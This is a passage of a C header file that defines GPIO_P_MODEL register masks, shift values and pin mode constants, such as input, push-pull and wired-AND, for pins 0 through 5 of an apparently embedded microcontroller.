_GPIO_P_MODEL_MODE0_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE0_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_DEFAULT (_GPIO_P_MODEL_MODE0_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_DISABLED (_GPIO_P_MODEL_MODE0_DISABLED << 0) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_INPUT (_GPIO_P_MODEL_MODE0_INPUT << 0) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_INPUTPULL (_GPIO_P_MODEL_MODE0_INPUTPULL << 0) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_INPUTPULLFILTER (_GPIO_P_MODEL_MODE0_INPUTPULLFILTER << 0) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_PUSHPULL (_GPIO_P_MODEL_MODE0_PUSHPULL << 0) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_PUSHPULLALT (_GPIO_P_MODEL_MODE0_PUSHPULLALT << 0) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDOR (_GPIO_P_MODEL_MODE0_WIREDOR << 0) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE0_WIREDORPULLDOWN << 0) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDAND (_GPIO_P_MODEL_MODE0_WIREDAND << 0) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDANDFILTER (_GPIO_P_MODEL_MODE0_WIREDANDFILTER << 0) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDANDPULLUP (_GPIO_P_MODEL_MODE0_WIREDANDPULLUP << 0) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE0_WIREDANDPULLUPFILTER << 0) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDANDALT (_GPIO_P_MODEL_MODE0_WIREDANDALT << 0) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE0_WIREDANDALTFILTER << 0) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE0_WIREDANDALTPULLUP << 0) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE0_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE0_WIREDANDALTPULLUPFILTER << 0) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_SHIFT 4 /**< Shift value for GPIO_MODE1 */ #define _GPIO_P_MODEL_MODE1_MASK 0xF0UL /**< Bit mask for GPIO_MODE1 */ #define _GPIO_P_MODEL_MODE1_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE1_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_DEFAULT (_GPIO_P_MODEL_MODE1_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_DISABLED (_GPIO_P_MODEL_MODE1_DISABLED << 4) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_INPUT (_GPIO_P_MODEL_MODE1_INPUT << 4) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_INPUTPULL (_GPIO_P_MODEL_MODE1_INPUTPULL << 4) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_INPUTPULLFILTER (_GPIO_P_MODEL_MODE1_INPUTPULLFILTER << 4) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_PUSHPULL (_GPIO_P_MODEL_MODE1_PUSHPULL << 4) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_PUSHPULLALT (_GPIO_P_MODEL_MODE1_PUSHPULLALT << 4) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDOR (_GPIO_P_MODEL_MODE1_WIREDOR << 4) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE1_WIREDORPULLDOWN << 4) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDAND (_GPIO_P_MODEL_MODE1_WIREDAND << 4) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDANDFILTER (_GPIO_P_MODEL_MODE1_WIREDANDFILTER << 4) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDANDPULLUP (_GPIO_P_MODEL_MODE1_WIREDANDPULLUP << 4) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE1_WIREDANDPULLUPFILTER << 4) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDANDALT (_GPIO_P_MODEL_MODE1_WIREDANDALT << 4) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE1_WIREDANDALTFILTER << 4) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE1_WIREDANDALTPULLUP << 4) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE1_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE1_WIREDANDALTPULLUPFILTER << 4) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_SHIFT 8 /**< Shift value for GPIO_MODE2 */ #define _GPIO_P_MODEL_MODE2_MASK 0xF00UL /**< Bit mask for GPIO_MODE2 */ #define _GPIO_P_MODEL_MODE2_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE2_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_DEFAULT (_GPIO_P_MODEL_MODE2_DEFAULT << 8) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_DISABLED (_GPIO_P_MODEL_MODE2_DISABLED << 8) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_INPUT (_GPIO_P_MODEL_MODE2_INPUT << 8) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_INPUTPULL (_GPIO_P_MODEL_MODE2_INPUTPULL << 8) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_INPUTPULLFILTER (_GPIO_P_MODEL_MODE2_INPUTPULLFILTER << 8) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_PUSHPULL (_GPIO_P_MODEL_MODE2_PUSHPULL << 8) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_PUSHPULLALT (_GPIO_P_MODEL_MODE2_PUSHPULLALT << 8) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDOR (_GPIO_P_MODEL_MODE2_WIREDOR << 8) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE2_WIREDORPULLDOWN << 8) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDAND (_GPIO_P_MODEL_MODE2_WIREDAND << 8) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDANDFILTER (_GPIO_P_MODEL_MODE2_WIREDANDFILTER << 8) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDANDPULLUP (_GPIO_P_MODEL_MODE2_WIREDANDPULLUP << 8) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE2_WIREDANDPULLUPFILTER << 8) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDANDALT (_GPIO_P_MODEL_MODE2_WIREDANDALT << 8) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE2_WIREDANDALTFILTER << 8) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE2_WIREDANDALTPULLUP << 8) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE2_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE2_WIREDANDALTPULLUPFILTER << 8) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_SHIFT 12 /**< Shift value for GPIO_MODE3 */ #define _GPIO_P_MODEL_MODE3_MASK 0xF000UL /**< Bit mask for GPIO_MODE3 */ #define _GPIO_P_MODEL_MODE3_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE3_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_DEFAULT (_GPIO_P_MODEL_MODE3_DEFAULT << 12) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_DISABLED (_GPIO_P_MODEL_MODE3_DISABLED << 12) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_INPUT (_GPIO_P_MODEL_MODE3_INPUT << 12) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_INPUTPULL (_GPIO_P_MODEL_MODE3_INPUTPULL << 12) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_INPUTPULLFILTER (_GPIO_P_MODEL_MODE3_INPUTPULLFILTER << 12) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_PUSHPULL (_GPIO_P_MODEL_MODE3_PUSHPULL << 12) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_PUSHPULLALT (_GPIO_P_MODEL_MODE3_PUSHPULLALT << 12) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDOR (_GPIO_P_MODEL_MODE3_WIREDOR << 12) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE3_WIREDORPULLDOWN << 12) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDAND (_GPIO_P_MODEL_MODE3_WIREDAND << 12) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDANDFILTER (_GPIO_P_MODEL_MODE3_WIREDANDFILTER << 12) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDANDPULLUP (_GPIO_P_MODEL_MODE3_WIREDANDPULLUP << 12) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE3_WIREDANDPULLUPFILTER << 12) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDANDALT (_GPIO_P_MODEL_MODE3_WIREDANDALT << 12) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE3_WIREDANDALTFILTER << 12) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE3_WIREDANDALTPULLUP << 12) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE3_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE3_WIREDANDALTPULLUPFILTER << 12) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_SHIFT 16 /**< Shift value for GPIO_MODE4 */ #define _GPIO_P_MODEL_MODE4_MASK 0xF0000UL /**< Bit mask for GPIO_MODE4 */ #define _GPIO_P_MODEL_MODE4_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE4_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_DEFAULT (_GPIO_P_MODEL_MODE4_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_DISABLED (_GPIO_P_MODEL_MODE4_DISABLED << 16) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_INPUT (_GPIO_P_MODEL_MODE4_INPUT << 16) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_INPUTPULL (_GPIO_P_MODEL_MODE4_INPUTPULL << 16) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_INPUTPULLFILTER (_GPIO_P_MODEL_MODE4_INPUTPULLFILTER << 16) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_PUSHPULL (_GPIO_P_MODEL_MODE4_PUSHPULL << 16) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_PUSHPULLALT (_GPIO_P_MODEL_MODE4_PUSHPULLALT << 16) /**< Shifted mode PUSHPULLALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDOR (_GPIO_P_MODEL_MODE4_WIREDOR << 16) /**< Shifted mode WIREDOR for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDORPULLDOWN (_GPIO_P_MODEL_MODE4_WIREDORPULLDOWN << 16) /**< Shifted mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDAND (_GPIO_P_MODEL_MODE4_WIREDAND << 16) /**< Shifted mode WIREDAND for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDANDFILTER (_GPIO_P_MODEL_MODE4_WIREDANDFILTER << 16) /**< Shifted mode WIREDANDFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDANDPULLUP (_GPIO_P_MODEL_MODE4_WIREDANDPULLUP << 16) /**< Shifted mode WIREDANDPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDANDPULLUPFILTER (_GPIO_P_MODEL_MODE4_WIREDANDPULLUPFILTER << 16) /**< Shifted mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDANDALT (_GPIO_P_MODEL_MODE4_WIREDANDALT << 16) /**< Shifted mode WIREDANDALT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDANDALTFILTER (_GPIO_P_MODEL_MODE4_WIREDANDALTFILTER << 16) /**< Shifted mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDANDALTPULLUP (_GPIO_P_MODEL_MODE4_WIREDANDALTPULLUP << 16) /**< Shifted mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE4_WIREDANDALTPULLUPFILTER (_GPIO_P_MODEL_MODE4_WIREDANDALTPULLUPFILTER << 16) /**< Shifted mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_SHIFT 20 /**< Shift value for GPIO_MODE5 */ #define _GPIO_P_MODEL_MODE5_MASK 0xF00000UL /**< Bit mask for GPIO_MODE5 */ #define _GPIO_P_MODEL_MODE5_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_DISABLED 0x00000000UL /**< Mode DISABLED for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_INPUT 0x00000001UL /**< Mode INPUT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_INPUTPULL 0x00000002UL /**< Mode INPUTPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_INPUTPULLFILTER 0x00000003UL /**< Mode INPUTPULLFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_PUSHPULL 0x00000004UL /**< Mode PUSHPULL for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_PUSHPULLALT 0x00000005UL /**< Mode PUSHPULLALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDOR 0x00000006UL /**< Mode WIREDOR for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDORPULLDOWN 0x00000007UL /**< Mode WIREDORPULLDOWN for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDAND 0x00000008UL /**< Mode WIREDAND for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDANDFILTER 0x00000009UL /**< Mode WIREDANDFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDANDPULLUP 0x0000000AUL /**< Mode WIREDANDPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDANDPULLUPFILTER 0x0000000BUL /**< Mode WIREDANDPULLUPFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDANDALT 0x0000000CUL /**< Mode WIREDANDALT for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDANDALTFILTER 0x0000000DUL /**< Mode WIREDANDALTFILTER for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDANDALTPULLUP 0x0000000EUL /**< Mode WIREDANDALTPULLUP for GPIO_P_MODEL */ #define _GPIO_P_MODEL_MODE5_WIREDANDALTPULLUPFILTER 0x0000000FUL /**< Mode WIREDANDALTPULLUPFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_DEFAULT (_GPIO_P_MODEL_MODE5_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_DISABLED (_GPIO_P_MODEL_MODE5_DISABLED << 20) /**< Shifted mode DISABLED for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_INPUT (_GPIO_P_MODEL_MODE5_INPUT << 20) /**< Shifted mode INPUT for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_INPUTPULL (_GPIO_P_MODEL_MODE5_INPUTPULL << 20) /**< Shifted mode INPUTPULL for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_INPUTPULLFILTER (_GPIO_P_MODEL_MODE5_INPUTPULLFILTER << 20) /**< Shifted mode INPUTPULLFILTER for GPIO_P_MODEL */ #define GPIO_P_MODEL_MODE5_PUSHPULL (_GPIO_P_MODEL_MODE5_PUSHPULL << 20) /**< Shifted mode PUSHPULL for GPIO_P_MODEL */ #define 